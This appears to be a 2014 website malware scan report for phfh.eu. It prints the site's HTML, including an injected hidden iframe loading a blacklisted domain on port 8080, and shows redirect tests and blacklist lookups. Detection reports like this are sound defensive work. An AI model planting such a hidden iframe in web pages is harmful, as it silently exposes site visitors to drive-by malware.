Scanned pages/files
Request | Server response | Status |
http://phfh.eu/ | 200 OK Content-Length: 924 Content-Type: text/html | malicious |
Page code contains blacklisted domain: x6g.in ...[514 bytes skipped]... y-to" content="@.com"> <meta name="generator" content="PhpED 4.5"> <meta name="description" content=""> <meta name="keywords" content=""> <meta name="creation-date" content="02/20/2006"> <meta name="revisit-after" content="15 days"> <title>Untitled</title> <link rel="stylesheet" type="text/css" href="my.css"> </head> <body><iframe src="http://x6g.in:8080/index.php" width=182 height=156 style="visibility: hidden"></iframe> <script> location.href='http://www.phfh.hu'; </script> </body> </html> Malicious iFrame found. size: 182x156 style: hidden src: http://x6g.in:8080/index.php This URL is marked by Google as suspicious <iframe src="http://x6g.in:8080/index.php" width=182 height=156 style="visibility: hidden"> | ||
http://phfh.eu/test404page.js | 404 Not Found Content-Length: 212 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: phfh.eu
Result:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 10 Oct 2014 16:55:38 GMT
Accept-Ranges: bytes
ETag: "21951e8-39c-46f3e64b3c0c0"
Server: Apache/2.2.26 (FreeBSD) PHP/5.3.28 with Suhosin-Patch mod_ssl/2.2.26 OpenSSL/1.0.1g
Content-Length: 924
Content-Type: text/html
Last-Modified: Tue, 21 Jul 2009 22:01:15 GMT
...924 bytes of data.
GET / HTTP/1.1
Host: phfh.eu
Result:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 10 Oct 2014 16:55:38 GMT
Accept-Ranges: bytes
ETag: "21951e8-39c-46f3e64b3c0c0"
Server: Apache/2.2.26 (FreeBSD) PHP/5.3.28 with Suhosin-Patch mod_ssl/2.2.26 OpenSSL/1.0.1g
Content-Length: 924
Content-Type: text/html
Last-Modified: Tue, 21 Jul 2009 22:01:15 GMT
...924 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: phfh.eu
Referer: http://www.google.com/search?q=phfh.eu
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: phfh.eu
Referer: http://www.google.com/search?q=phfh.eu
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=phfh.eu
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://phfh.eu/
Result: phfh.eu is not infected or malware details are not published yet.
Result: phfh.eu is not infected or malware details are not published yet.